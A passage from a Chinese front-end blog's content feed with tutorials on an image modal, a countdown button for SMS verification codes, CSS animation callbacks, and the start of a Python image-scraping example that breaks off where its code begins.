class="line"><span class="css"> <span class="selector-class">.close</span>{</span></span><br><span class="line"><span class="undefined"> font-size: 40px;</span></span><br><span class="line"><span class="undefined"> font-weight: bold;</span></span><br><span class="line"><span class="undefined"> position: absolute;</span></span><br><span class="line"><span class="undefined"> top: 20px;</span></span><br><span class="line"><span class="undefined"> right: 14%;</span></span><br><span class="line"><span class="css"> <span class="selector-tag">color</span>:<span class="selector-id">#f1f1f1</span>;</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="css"> <span class="selector-class">.close</span><span class="selector-pseudo">:hover</span>,</span></span><br><span class="line"><span class="css"> <span class="selector-class">.close</span><span class="selector-pseudo">:focus</span>{</span></span><br><span class="line"><span class="css"> <span class="selector-tag">color</span>:<span class="selector-id">#bbb</span>;</span></span><br><span class="line"><span class="css"> <span class="selector-tag">cursor</span><span class="selector-pseudo">:pointer</span>;</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="css"> @<span class="keyword">media</span> only screen and(max-width:<span class="number">750px</span> ) {</span></span><br><span class="line"><span class="css"> <span class="selector-id">#moimg</span>{</span></span><br><span class="line"><span class="undefined"> width: 100%;</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="undefined"> </span><span class="tag"></<span class="name">style</span>></span></span><br><span class="line"><span class="tag"></<span class="name">head</span>></span></span><br><span class="line"><span class="tag"><<span class="name">body</span>></span></span><br><span class="line"></span><br><span class="line"><span class="tag"><<span class="name">h2</span>></span>图片点击弹出模态框效果<span class="tag"></<span class="name">h2</span>></span></span><br><span class="line"><span class="tag"><<span class="name">p</span>></span>图片模态框很不错,是个值得学习的效果<span class="tag"></<span class="name">p</span>></span></span><br><span class="line"><span class="tag"><<span class="name">img</span> <span class="attr">src</span>=<span class="string">"star.jpeg"</span> <span class="attr">id</span>=<span class="string">"real"</span> <span class="attr">alt</span>=<span class="string">"model test picture"</span>></span></span><br><span class="line"></span><br><span class="line"><span class="comment"><!--图片模态框 --></span></span><br><span class="line"><span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"motai"</span> <span class="attr">id</span>=<span class="string">"mo"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">span</span> <span class="attr">class</span>=<span class="string">"close"</span> <span class="attr">id</span>=<span class="string">"close"</span>></span>×<span class="tag"></<span class="name">span</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">img</span> <span class="attr">class</span>=<span class="string">"motaiimg"</span> <span class="attr">id</span>=<span class="string">"moimg"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">div</span> <span class="attr">id</span>=<span class="string">"caption"</span>></span><span class="tag"></<span class="name">div</span>></span></span><br><span class="line"><span class="tag"></<span class="name">div</span>></span></span><br><span class="line"></span><br><span class="line"><span class="tag"><<span class="name">script</span>></span><span class="undefined"></span></span><br><span class="line"><span class="javascript"> <span class="keyword">var</span> motai=<span class="built_in">document</span>.getElementById(<span class="string">'mo'</span>)</span></span><br><span class="line"><span class="javascript"> <span class="keyword">var</span> moimg=<span class="built_in">document</span>.getElementById(<span class="string">"moimg"</span>)</span></span><br><span class="line"><span class="javascript"> <span class="keyword">var</span> realimg=<span class="built_in">document</span>.getElementById(<span class="string">"real"</span>)</span></span><br><span class="line"><span class="javascript"> <span class="keyword">var</span> caption=<span class="built_in">document</span>.getElementById(<span class="string">"caption"</span>)</span></span><br><span class="line"><span class="undefined"></span></span><br><span class="line"><span class="javascript"> realimg.onclick=<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span></span><br><span class="line"><span class="javascript"> motai.style.display=<span class="string">"block"</span></span></span><br><span class="line"><span class="javascript"> moimg.src=<span class="keyword">this</span>.src</span></span><br><span class="line"><span class="javascript"> caption.innerHTML=<span class="keyword">this</span>.alt</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="undefined"></span></span><br><span class="line"><span class="javascript"> <span class="keyword">var</span> span=<span class="built_in">document</span>.getElementById(<span class="string">"close"</span>);</span></span><br><span class="line"><span class="undefined"></span></span><br><span class="line"><span class="javascript"> span.onclick=<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span></span><br><span class="line"><span class="javascript"> motai.style.display=<span class="string">"none"</span>;</span></span><br><span class="line"><span class="undefined"> }</span></span><br><span class="line"><span class="undefined"></span><span class="tag"></<span class="name">script</span>></span></span><br><span class="line"><span class="tag"></<span class="name">body</span>></span></span><br><span class="line"><span class="tag"></<span class="name">html</span>></span></span><br></pre></td></tr></table></figure><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> JavaScript </tag>
</tags>
</entry>
<entry>
<title>获取短信验证码按钮的功能实现</title>
<link href="/2017/05/16/SMS-verification-code/"/>
<url>/2017/05/16/SMS-verification-code/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:47 GMT+0800 (CST) --><blockquote><p>在web网页中,用户的一些行为,例如注册,登录,付款,修改密码等,都需要网站通过手机验证码来确认其行为身份,从而保证用户账户和网站自身的安全。</p><p>本文主要介绍了获取短信验证码按钮的前端实现和一些需要注意的地方。</p></blockquote><a id="more"></a><h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>网页中的验证码一般都是采用点击获取的方式,在实现页面的获取手机验证码按钮时,着重需要考虑的是以下几点:</p><ul><li>保证在手机号码填写符合规范的情况下才可以点击按钮或者发送请求</li><li>点击按钮后需要在一段时间内禁用按钮,以防止用户不断点击产生大量请求</li><li>保证在网页刷新后验证码计时不会清零</li></ul><p>在这里我们主要来实现前两项效果.</p><p>保证网页刷新后验证码倒计时不清零需要使用<code>cookie</code>实现,为了避免篇幅过长,内容杂乱,不做赘述.</p><h1 id="实现"><a href="#实现" class="headerlink" title="实现"></a>实现</h1><p>按钮可以用以下两种获取验证码的实现方法:</p><ol><li>当手机号输入格式正确时,按钮才处于可点击状态</li><li>按钮一直处于可点击状态,只是当手机号格式错误时,点击后会向用户提示错误,不向服务器发送请求</li></ol><p>这两种方法虽然代码可能不同,但是基本原理是差不多的,这里我们就只使用第一种方法来进行说明.</p><p>一般验证码的页面HTML结构类似如下:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">div</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">p</span> ></span>请输入手机号:<span class="tag"></<span class="name">p</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">class</span>=<span class="string">"phone"</span> <span class="attr">type</span>=<span class="string">"number"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">p</span>></span>验证码:<span class="tag"></<span class="name">p</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">"number"</span> <span class="attr">name</span>=<span class="string">""</span> <span class="attr">id</span>=<span class="string">""</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">"button"</span> <span class="attr">value</span>=<span class="string">"获取验证码"</span> <span class="attr">name</span>=<span class="string">"yzm"</span> <span class="attr">class</span>=<span class="string">"yzm"</span> <span class="attr">disabled</span>=<span class="string">"disabled"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">br</span>></span><span class="tag"><<span class="name">br</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">"submit"</span> <span class="attr">value</span>=<span class="string">"提交"</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">div</span>></span></span><br></pre></td></tr></table></figure><p>页面如图:</p><p><img src="https://img.catqu.com/images/2018/04/15/phonecode.png" alt="img"></p><p>在输入正确格式的手机号码后,获取验证码按钮取消禁用状态,可点击.</p><p>点击后按钮再次进入禁用状态并开始倒计时,倒计时完毕后再次进入可点击状态.</p><p>具体实现流程还是比较简单的.代码如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">$(<span class="built_in">document</span>).ready(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> ordertime=<span class="number">20</span> <span class="comment">//设置再次发送验证码等待时间</span></span><br><span class="line"> <span class="keyword">var</span> timeleft=ordertime</span><br><span class="line"> <span class="keyword">var</span> btn=$(<span class="string">".yzm"</span>)</span><br><span class="line"> <span class="keyword">var</span> phone=$(<span class="string">".phone"</span>)</span><br><span class="line"> <span class="keyword">var</span> reg = <span class="regexp">/^1[0-9]{10}$/</span>; <span class="comment">//电话号码的正则匹配式</span></span><br><span class="line"></span><br><span class="line"> phone.keyup(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">if</span> (reg.test(phone.val())){</span><br><span class="line"> btn.removeAttr(<span class="string">"disabled"</span>) <span class="comment">//当号码符合规则后发送验证码按钮可点击</span></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span>{</span><br><span class="line"> btn.attr(<span class="string">"disabled"</span>,<span class="literal">true</span>)</span><br><span class="line"> }</span><br><span class="line"> })</span><br><span class="line"></span><br><span class="line"> <span class="comment">//计时函数</span></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">timeCount</span>(<span class="params"></span>)</span>{</span><br><span class="line"> timeleft-=<span class="number">1</span></span><br><span class="line"> <span class="keyword">if</span> (timeleft><span class="number">0</span>){</span><br><span class="line"> btn.val(timeleft+<span class="string">" 秒后重发"</span>);</span><br><span class="line"> setTimeout(timeCount,<span class="number">1000</span>)</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> btn.val(<span class="string">"重新发送"</span>);</span><br><span class="line"> timeleft=ordertime <span class="comment">//重置等待时间</span></span><br><span class="line"> btn.removeAttr(<span class="string">"disabled"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//事件处理函数</span></span><br><span class="line"> btn.on(<span class="string">"click"</span>,<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> $(<span class="keyword">this</span>).attr(<span class="string">"disabled"</span>,<span class="literal">true</span>); <span class="comment">//防止多次点击</span></span><br><span class="line"> <span class="comment">//此处可添加 ajax请求 向后台发送 获取验证码请求</span></span><br><span class="line"> timeCount();</span><br><span class="line"> })</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>ajax请求格式大概如下,可以用于向服务器请求发送验证码到制定手机</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$.ajax({</span><br><span class="line"> type: <span class="string">"POST"</span>, <span class="comment">//用POST方式传输</span></span><br><span class="line"> dataType: <span class="string">"text"</span>, <span class="comment">//数据格式:JSON</span></span><br><span class="line"> url: <span class="string">'Login.ashx'</span>, <span class="comment">//目标地址</span></span><br><span class="line"> data: <span class="string">"dealType="</span> + dealType +<span class="string">"&uid="</span> + uid + <span class="string">"&code="</span> + code, <span class="comment">//post携带数据</span></span><br><span class="line"> error: <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{ }, <span class="comment">//请求错误时的处理函数</span></span><br><span class="line"> success: <span class="function"><span class="keyword">function</span> (<span class="params"></span>)</span>{ }, <span class="comment">//请求成功时执行的函数</span></span><br><span class="line">});</span><br></pre></td></tr></table></figure><h1 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h1><p>在实际开发中,除了上述的基本实现外,还需要有与服务器验证用户填写验证码是否正确的<code>ajax</code>请求, 使用<code>cookie</code>防止刷新页面导致倒计时失效的代码,实际开发的代码量会比上面多很多.</p><p>但是只要我们掌握基本原理和实现思路,就可以很容易的实现项目要求.</p><p>希望这篇文章对你有帮助.</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> JavaScript </tag>
</tags>
</entry>
<entry>
<title>CSS动画效果及其回调</title>
<link href="/2017/05/16/css-transtion-callback/"/>
<url>/2017/05/16/css-transtion-callback/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>用纯<code>JS</code>实现动画效果代码量大,计算复杂.因此现在前端页面的动画效果一般都采用<code>CSS</code>来实现.</p><p><code>CSS</code>动画实现简单高效,但是在处理动画,控制动画过程上却缺少一些有效手段.</p><p>例如我们想在动画效果完成时调用回调函数来处理一些事务,会发现CSS并没有提供直接的方法来让我们使用.</p><p>本文主要对<code>CSS</code>的动画做一个简单介绍,并说明一下动画的回调效果如何实现。</p></blockquote><a id="more"></a><h3 id="css动画简介"><a href="#css动画简介" class="headerlink" title="css动画简介"></a>css动画简介</h3><p>css动画效果有两种,即<strong>过渡</strong>和<strong>动画</strong>.</p><h4 id="过渡"><a href="#过渡" class="headerlink" title="过渡"></a>过渡</h4><p>当元素从一种样式转变为另一种样式,我们为这种转变添加动画效果,这种效果就称作过渡.</p><p><code>CSS</code>的过渡是通过 <code>transtion</code> 属性实现的.</p><p><code>transtion</code>属性必须包含以下两个值:</p><ul><li>要添加过渡效果的样式属性名</li><li>过渡效果持续时间</li></ul><p>另外还有两个可选的属性值:</p><ul><li>过渡效果的速度时间曲线函数</li><li>过渡效果的延迟时间</li></ul><p>下面是一个CSS过渡效果的例子:</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">div</span>{</span><br><span class="line"> <span class="attribute">width</span>: <span class="number">100px</span>;</span><br><span class="line"> <span class="attribute">transition</span>: width <span class="number">2s</span>;</span><br><span class="line"> <span class="attribute">-webkit-transtion</span>:width <span class="number">2s</span>;</span><br><span class="line">}</span><br><span class="line"><span class="selector-tag">div</span><span class="selector-class">.hover</span>{</span><br><span class="line"> <span class="attribute">width</span>: <span class="number">300px</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>当鼠标移动到<code>div</code>上时,此<code>div</code>宽度会增加200px.</p><p>我们通过<code>css</code>为宽度变化添加上了 2s 过渡效果。</p><style>div#test{width:100px;height:100px;background:red;transition:width 2s;-webkit-transition:width 2s}div#test:hover{width:300px}</style><div id="test"></div><h4 id="动画"><a href="#动画" class="headerlink" title="动画"></a>动画</h4><p>在实现比较复杂的动画时,单纯使用过渡已经无法达到目的,可以选择使用<code>CSS</code>的<code>animation</code>属性来定义动画效果.</p><p>要想使用<code>animation</code>属性,我们必须先了解一下<code>CSS3</code>加入的<code>@keyframes</code>规则.</p><p><code>@keyframes</code>规则用于创建动画,可以从动画运动状态的帧来定义动画.</p><p>如下即<code>@kayframes</code>定义动画的例子:</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">@<span class="keyword">keyframes</span> show</span><br><span class="line">{</span><br><span class="line"> <span class="selector-tag">from</span> {<span class="attribute">color</span>: red;}</span><br><span class="line"> <span class="selector-tag">to</span> {<span class="attribute">color</span>: yellow;}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">@-<span class="keyword">webkit</span>-<span class="keyword">keyframes</span> show /* Safari 与 Chrome */</span><br><span class="line">{</span><br><span class="line"> <span class="selector-tag">from</span> {<span class="attribute">color</span>: red;}</span><br><span class="line"> <span class="selector-tag">to</span> {<span class="attribute">color</span>: yellow;}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>通过<code>@keyframes</code>我们可以定义动画从开始到结束的样式变化 .</p><p>我们也可以通过定义动画效果的百分比状态来定义动画样式,如下</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">@<span class="keyword">keyframes</span> show</span><br><span class="line">{</span><br><span class="line"> 0% {<span class="attribute">color</span>: red;}</span><br><span class="line"> 25% {<span class="attribute">color</span>: yellow;}</span><br><span class="line"> 50% {<span class="attribute">color</span>: blue;}</span><br><span class="line"> 100% {<span class="attribute">color</span>: green;}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">@-<span class="keyword">webkit</span>-<span class="keyword">keyframes</span> show /* Safari 与 Chrome */</span><br><span class="line">{</span><br><span class="line"> 0% {<span class="attribute">color</span>: red;}</span><br><span class="line"> 25% {<span class="attribute">color</span>: yellow;}</span><br><span class="line"> 50% {<span class="attribute">color</span>: blue;}</span><br><span class="line"> 100% {<span class="attribute">color</span>: green;}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在使用<code>@keyframes</code>定义了动画效果之后,我们可以通过 <code>animation</code> 来将动画效果绑定到元素,如下:</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">div</span><span class="selector-pseudo">:hover</span>{</span><br><span class="line"> <span class="attribute">animation</span>:show <span class="number">5s</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>具体效果如下:</p><p></p><style>@keyframes show{0%{color:red}25%{color:#ff0}50%{color:#00f}100%{color:green}}@-webkit-keyframes show{0%{color:red}25%{color:#ff0}50%{color:#00f}100%{color:green}}div.s:hover{animation:show 4s}</style><p></p><div class="s" style="margin-top:-20px;margin-bottom:10px;width:200px;height:50px;border:1px solid #c40000;text-align:center"><p style="line-height:50px">动画文字</p></div><p>以上就是CSS动画的简单介绍,另外CSS3还添加了<code>transform</code>属性,用于2D和3D转换,也被经常用来作为动画使用.</p><h3 id="CSS动画的回调函数"><a href="#CSS动画的回调函数" class="headerlink" title="CSS动画的回调函数"></a><code>CSS</code>动画的回调函数</h3><p>像以上的<code>CSS</code>动画,如果想使用回调函数来控制动画完成后的事务处理,是比较麻烦的.</p><h4 id="延时函数"><a href="#延时函数" class="headerlink" title="延时函数"></a>延时函数</h4><p>很多人使用<code>JS</code>的延时函数 <code>setTimtout()</code> 来解决<code>CSS</code>动画的回调问题,类似如下的代码:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">setTimtout(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> dosomething() <span class="comment">//动画的回调函数</span></span><br><span class="line">}, delaytime); <span class="comment">//动画的持续时间</span></span><br></pre></td></tr></table></figure><p>但是这种方法由于并不是真正意义的回调,会造成以下几个问题:</p><ul><li>由于动画和延时函数并不一定是同一时间开始,导致函数和动画不同步</li><li>会造成JS代码和CSS代码相互关联耦合,修改和维护比较麻烦</li><li>存在多个动画需要回调时会造成代码混乱和臃肿</li><li>在多个动画效果同时结束时会引起回调函数冲突</li></ul><p>因此,不建议使用延时函数作为动画的回调函数.</p><h4 id="JS事件"><a href="#JS事件" class="headerlink" title="JS事件"></a><code>JS</code>事件</h4><p>其实,<code>JS</code>提供了两个事件,可以完美的解决动画的回调函数问题,那就是 <code>transtionend</code>和 <code>animationend</code>,当过渡或动画完成时,即会触发对应的事件.</p><p>我们可以通过这两个事件轻松优雅的为动画添加回调函数.</p><p>具体用法如下:</p><ul><li><code>transtionend</code></li></ul><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//myFunction即为动画回调函数</span></span><br><span class="line"><span class="built_in">document</span>.getElementById(<span class="string">"myDIV"</span>)</span><br><span class="line"> .addEventListener(<span class="string">"transitionend"</span>, myFunction);</span><br></pre></td></tr></table></figure><ul><li><code>animationend</code></li></ul><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//myFunction即为回调函数</span></span><br><span class="line"><span class="built_in">document</span>.getElementById(<span class="string">"myDIV"</span>)</span><br><span class="line"> .addEventListener(<span class="string">"animationend"</span>, myFunction);</span><br></pre></td></tr></table></figure><p>我们通过以下这个例子来体验这两个事件的具体使用:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">style</span>></span><span class="undefined"></span></span><br><span class="line"><span class="css"><span class="selector-tag">div</span><span class="selector-id">#test</span>{</span></span><br><span class="line"><span class="css"> <span class="selector-tag">width</span><span class="selector-pseudo">:100px</span>;</span></span><br><span class="line"><span class="css"> <span class="selector-tag">height</span><span class="selector-pseudo">:100px</span>;</span></span><br><span class="line"><span class="css"> <span class="selector-tag">background</span><span class="selector-pseudo">:red</span>;</span></span><br><span class="line"><span class="css"> <span class="selector-tag">transition</span><span class="selector-pseudo">:width</span> 2<span class="selector-tag">s</span>;</span></span><br><span class="line"><span class="css"> <span class="selector-tag">-webkit-transition</span><span class="selector-pseudo">:width</span> 2<span class="selector-tag">s</span>; <span class="comment">/* Safari */</span></span></span><br><span class="line"><span class="undefined">}</span></span><br><span class="line"><span class="undefined"></span></span><br><span class="line"><span class="css"><span class="selector-tag">div</span><span class="selector-id">#test</span><span class="selector-pseudo">:hover</span>{</span></span><br><span class="line"><span class="css"> <span class="selector-tag">width</span><span class="selector-pseudo">:300px</span>;</span></span><br><span class="line"><span class="undefined">}</span></span><br><span class="line"><span class="undefined"></span><span class="tag"></<span class="name">style</span>></span></span><br><span class="line"><span class="tag"></<span class="name">head</span>></span></span><br><span class="line"><span class="tag"><<span class="name">body</span>></span></span><br><span class="line"><span class="tag"><<span class="name">div</span> <span class="attr">id</span>=<span class="string">"test"</span>></span>&nbsp;<span class="tag"></<span class="name">div</span>></span> </span><br><span class="line"><span class="tag"><<span class="name">script</span>></span><span class="undefined"></span></span><br><span class="line"><span class="javascript"><span class="built_in">document</span>.getElementById(<span class="string">"test"</span>)</span></span><br><span class="line"><span class="javascript"> .addEventListener(<span class="string">"transitionend"</span>, myFunction);</span></span><br><span class="line"><span class="undefined"> </span></span><br><span class="line"><span class="javascript"><span class="function"><span class="keyword">function</span> <span class="title">myFunction</span>(<span class="params"></span>) </span>{</span></span><br><span class="line"><span class="javascript"> <span class="keyword">this</span>.innerHTML = <span class="string">"回调函数触发div变为粉色"</span>;</span></span><br><span class="line"><span class="javascript"> <span class="keyword">this</span>.style.backgroundColor = <span class="string">"pink"</span>;</span></span><br><span class="line"><span class="undefined">}</span></span><br><span class="line"><span class="undefined"></span><span class="tag"></<span class="name">script</span>></span></span><br></pre></td></tr></table></figure><p>效果如下:</p><style>div#alili{width:100px;height:100px;background:red;transition:width 2s;-webkit-transition:width 2s}div#alili:hover{width:300px}</style><p></p><div id="alili"></div><p></p><script type="text/javascript">function myFunction(){this.innerHTML="回调函数触发div变为粉色",this.style.backgroundColor="pink",setTimeout(function(){var n=document.getElementById("alili");n.innerHTML="",n.style.backgroundColor="red"},5e3)}document.getElementById("alili").addEventListener("transitionend",myFunction)</script><h4 id="JQuery方法"><a href="#JQuery方法" class="headerlink" title="JQuery方法"></a><code>JQuery</code>方法</h4><p>当然也可以使用Jquery库的动画回调函数,很简单,代码类似如下,</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$(<span class="string">"#item"</span>).animate({<span class="attr">height</span>:<span class="string">"200px"</span>}, <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</span><br><span class="line"> alert(<span class="string">"hello"</span>);</span><br><span class="line">});</span><br></pre></td></tr></table></figure><p>以上就是关于CSS动画回调函数的一些知识,希望对你有帮助.</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> CSS </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> CSS </tag>
</tags>
</entry>
<entry>
<title>Python 爬虫小例子</title>
<link href="/2017/04/01/Python-reptile-demo/"/>
<url>/2017/04/01/Python-reptile-demo/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:47 GMT+0800 (CST) --><blockquote><p>本文是Python 爬虫的一个小demo,通过这个demo ,我们可以对爬虫的一些概念和基本流程有一个大概了解。</p></blockquote><a id="more"></a><p>这道题是一道爬虫练习题,需要爬链接<a href="http://tieba.baidu.com/p/2166231880" target="_blank" rel="noopener">http://tieba.baidu.com/p/2166231880</a>里的所有妹子图片,点进链接看一下,这位妹子是日本著名性感女演员——杉本由美,^_^好漂亮啊,赶紧开始爬吧。</p><p>以下就是我的爬虫步骤:</p><h1 id="爬取图片链接"><a href="#爬取图片链接" class="headerlink" title="爬取图片链接"></a>爬取图片链接</h1><p>虽然<code>request</code>和<code>beautifulsoup</code>模块方便又好用,但是我还是决定使用传统的<code>urllib</code>和<code>urllib2</code>模块,毕竟对这两个模块熟悉之后,就能基本明白爬虫的原理和实现啦。</p><p>首先是导入模块,除了前面提到的两个模块,我们还要导入<code>re</code>模块,使用正则表达式来匹配我们想要的内容。</p><p>导入模块之后,就可以获取页面了。步骤如下:</p><ol><li><p>使用<code>urllib2.Requst( )</code>得到 <code>request</code> 对象。</p><p>这个对象是用于打开一个网页的请求,可以方便的携带一些请求需要的信息,如<code>headers</code>,<code>cookie</code>等数据。</p><p>因为我们打开的网页——百度贴吧不需要登录就可以浏览页面,所以<code>request</code>对象只需要<code>headers</code>对象就可以了。</p></li><li><p>使用<code>urllib2.urlopen( )</code>得到<code>response</code>对象。</p><p>这个对象是爬虫页面的对象,与文件对象类似,你可以使用<code>read( )</code>来得到<code>response</code>页面对象的源码。</p></li><li><p>使用正则匹配要爬的资源链接</p><p>不会正则的同学,可以学一下,很快,一个下午就能学会正则基础啦,至少爬虫使用的正则你就会写啦。我们想要得到页面的所有图片的链接,那就在浏览器中使用<code>CTRL+ALT+c</code>来打开页面查看页面的源码,也就是页面的<code>HTML</code>文本。</p><p>找一下图片的标签在哪里,发现所有要下载的图片标签<code><img></code>的类都是<code>BDE_image</code>,标签格式都一样,但是帖子中还有广告楼层里面的图片标签也是也是这个类。我可不想下载下来之后浏览美女图片,突然跳出来一个广告图片。</p><p>那再仔细看一下页面,发现只要点击只看楼主选项,广告楼层就不见了,同时页面url后面多了几个字符是<code>?see_lz=1</code> 。好,那我们直接在我们的请求url后加上这几个字符就行啦,至于其他的楼层,没有了更好^_^,反正其他楼层都是灌水。</p><p>ok,那就开始匹配我们想要的链接吧。使用<code>re.compile( )</code>来编译匹配模式,再使用<code>re.findall( )</code>得到所有的图片的src属性,也就是链接的列表。</p><p>这就完成了我们爬虫最重要的一步啦。</p></li></ol><h1 id="下载图片到本机"><a href="#下载图片到本机" class="headerlink" title="下载图片到本机"></a>下载图片到本机</h1><p>下载链接要使用<code>urllib.urlretrieve( )</code>,这个函数可以将你的链接资源下载到本地,如果指定目录的话会下载到目录,否则下载为临时文件。</p><p>那就直接迭代我们第一步得到的图片链接列表,一个个全下载下来吧。</p><p>到这里,爬这个页面的小练习,就完成啦。</p><p>我的代码在这里:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span 